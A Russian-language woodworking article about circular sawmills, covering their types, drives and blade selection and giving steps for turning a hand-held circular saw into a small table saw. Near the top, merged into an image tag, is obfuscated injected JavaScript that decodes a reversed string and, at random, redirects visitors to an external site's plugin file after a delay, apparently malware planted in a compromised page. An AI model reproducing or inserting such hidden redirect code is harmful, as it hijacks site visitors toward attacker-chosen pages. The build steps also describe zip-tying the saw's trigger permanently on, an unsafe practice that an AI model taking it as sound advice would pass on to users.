Дисковая пилорама — обзор готовых решений и рекомендации по самостоятельной сборке

Это, казалось бы, простое оборудование пилит древесину с миллиметровой точностью реза — такую установку вы сможете собрать сами для своей мастерской

$NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-kazalos-by-prostoe-oborudovanie-pilit-drevesin-600×450.jpg» alt=»Это, казалось бы, простое оборудование пилит древесину с миллиметровой точностью реза — такую установку вы сможете собрать сами для своей мастерской» width=»600″ height=»450″ /> Это, казалось бы, простое оборудование пилит древесину с миллиметровой точностью реза — такую установку вы сможете собрать сами для своей мастерской

Нужно распилить бревно на доски или продольно разрезать небольшой брусок? Для этого понадобится специальный инструмент — пилорама, оснащённая пильным кругом. Я расскажу о том, как устроен и как работает это оборудование. Также вы узнаете, как небольшая дисковая пилорама своими руками собирается в домашних условиях.

Все, что нужно знать о дисковом пильном оборудовании

Дисковая пилорама — это стационарное деревообрабатывающее оборудование для распиловки древесины на пиломатериалы. Режущий инструмент — зубчатый диск, который приводится в движение двигателем посредством ременной передачи.

Есть несколько разновидностей распиловочного оборудования, начиная с самых простых настольных установок, которые можно сделать своими руками, и оканчивая промышленными агрегатами.

Иллюстрации	Классификация по типу расположения режущего инструмента
	Горизонтальная дисковая пилорама. В этом оборудовании режущий инструмент расположен в горизонтальной плоскости. То есть, применяется один или два диска. Устройство с двумя дисками более эффективное, так как режущие инструменты, за один проход, позволяют нарезать доску большей ширины. Дисковая горизонтальная пила имеет недостаток — резка выполняется в одной плоскости и нарезанные доски придется дополнительно обрезать в продольном направлении.
	Вертикальная дисковая пилорама. Такое оборудование получило распространение в мастерских различных умельцев, так как делая пилорамы своими руками, проще всего расположить диск именно в вертикальном положении. Есть дисковые пилорамы, в которых используется одинарный вертикально расположенный зубчатый диск или сдвоенный режущий инструмент.
	Комбинированная пилорама. Такое оборудование оснащается основными горизонтальным режущим инструментом и вспомогательным кромкообрезным блоком, состоящим из вертикальных дисков.
	Угловая дисковая пилорама. В этом оборудовании применены два диска, расположенных под прямым углом относительно друг друга. Таким образом, за один проход угловая пилорама обрабатывает бревно в двух плоскостях: по горизонтали и по вертикали. Применение угловых дисковых пил позволяет сэкономить время при изготовлении бруса без ущерба для качества и точности размеров готового продукта.

Иллюстрации

Классификация по типу привода

Агрегаты с приводом от двигателя внутреннего сгорания (ДВС). Такие установки получили распространение на небольших комбинатах и применяются преимущественно на открытом воздухе.

В качестве привода используются бензиновые двигатели с объемом до 200 см³ мощностью до 5 л.с.

Агрегаты с приводом от электродвигателя. Такие установки наиболее распространены, так как их, несмотря на меньшую мощность, можно эксплуатировать в закрытых помещениях.

Иллюстрации	Классификация по степени автоматизации
	Установки с ручным управлением. Это простейшее оборудование, в котором оператору приходится вручную двигать режущий инструмент вдоль бревна и своими руками отбирать готовые пиломатериалы.
	Установки с полуавтоматическим управлением. Это самое распространённое оборудование, в котором оператор управляет установкой, но перемещение бревна осуществляется за счёт дополнительного электродвигателя.
	Установки с полностью автоматизированным управлением. Оператору таких пилорам достаточно ввести значения размеров готовых пиломатериалов и оборудование в автоматическом режиме выполнит распиловку.

Выбор диска

Выбирая диск, учитываем диаметр штифта, на котором будет закреплён режущий инструмент и максимально допустимый диаметр диска. Параметры, рекомендованные для оборудования, можно найти в техническом паспорте. Если дисковая пилорама самодельная и паспорта нет, все замеры делаются штангенциркулем.

В маркировке пильного круга есть два числа, первое — это максимально допустимый диаметр диска, а второе — диаметр штифта. Режущий инструмент с диаметром круга до 315 мм применяется на бытовых станках. Диаметр круга 400 мм и больше — размер, предназначенный для промышленных пилорам.

Отличительная особенность пильного круга — это конфигурация зубьев и материал, из которого они изготовлены.

Иллюстрации

Классификация в соответствии с конструктивными особенностями

Монолитные. Такие диски изготавливаются из однородной цельной пластины. Зубья на этих режущих инструментах выштамповываются, а уже затем разводятся и затачиваются.

Применяются зубья ножовочного типа — для работы с твёрдыми породами древесины и изогнутые — для распиловки древесины мягких пород.

Твердосплавные. Из цельной плиты нарезается круг — основа, и именно на основу наплавляются зубья той или иной конфигурации.

Преимущество твердосплавных дисков — увеличенный эксплуатационный ресурс.

Что можно сделать в домашних условиях

Напоследок расскажу, как собрать компактную модификацию дисковой пилы. Все настолько просто, что даже чертежи не нужны!

Иллюстрации	Описание действий
	Подготавливаем пилу. По периметру подошвы циркулярной пилы сверлим не менее 6 отверстий с диаметром 6 мм. Посредством этих отверстий, пилу будем крепить к основанию станка.
	Делаем разметку под режущий инструмент. Прикладываем пилу подошвой к заготовленной столешнице. Выравниваем подошву по угольнику. В раннее просверленных отверстиях в подошве делаем метки. По центру меток сверлим отверстия диаметром 2 мм.
	Монтаж режущего инструмента. Прикладываем пилу поверх высверленных отверстий и крепим подошву через ранее сделанные крепежные отверстия саморезами. Сразу же затягиваем саморезы, так, чтобы инструмент на столешнице стоял плотно и не двигался. Включаем пилу и прорезаем паз. Переворачиваем столешницу диском кверху и угольником проверяем угол расположения диска — он должен быть прямым.
	Монтаж опор. Как показано на фото, от края столешницы отступаем по 100 мм и прочерчиваем линию. По сделанной разметке, с шагом в 50 мм, сверлим сквозные отверстия диаметром 2 мм. В каждом отверстии делаем потай под головку самореза. Под столешницу подкладываем бруски с сечением 50×100 мм. Выравниваем бруски, чтобы они оказались на линии высверленных отверстий и вкручиваем саморезы. В итоге, с изнанки столешницы у нас должны получиться две прочно закреплённые опоры.
	Монтаж боковых стенок. К опорам под столешницей прикладываем боковые стенки и прихватываем их струбцинами. Каждую стенку фиксируем на опоре 6-8 саморезами. Вкручивать саморезы нужно так, чтобы они не попали в саморезы, которыми крепили опоры. Чтобы опорные бруски не треснули, перед тем, как вкрутить саморез, нужно просверлить отверстие с диаметром меньшим, чем толщина самореза .
	Устанавливаем распорку. Чтобы жестко зафиксировать боковые стенки, вставляем между ними распорку, которую крепим через каждую стенку на несколько саморезов.
	Блокируем кнопку режущего инструмента. Нажимаем пусковую кнопку и перетягиваем ее пластиковым хомутом.
	Пробный запуск. Подводим к режущему инструменту питание и включаем пилу. Для удобства работы, желательно использовать розетку с пусковой кнопкой, как показано на фото.
	Устанавливаем ограничитель. Ровную рейку крепим струбцинами на том расстоянии от диска, которое будет равным толщине готовой доски. Важно установить ограничительную рейку так, чтобы она была параллельна пильному кругу.

Подведем итоги

Дисковая пилорама — это полезный инструмент, который не помешает в домашней мастерской. Теперь вы знаете, что собой представляет этот станок и как самому сделать его компактную модификацию. Если остались вопросы по конструкции режущих станков, напишите об этом в комментариях. Кроме того, посмотрите видео в этой статье, уверен, вам будет интересно.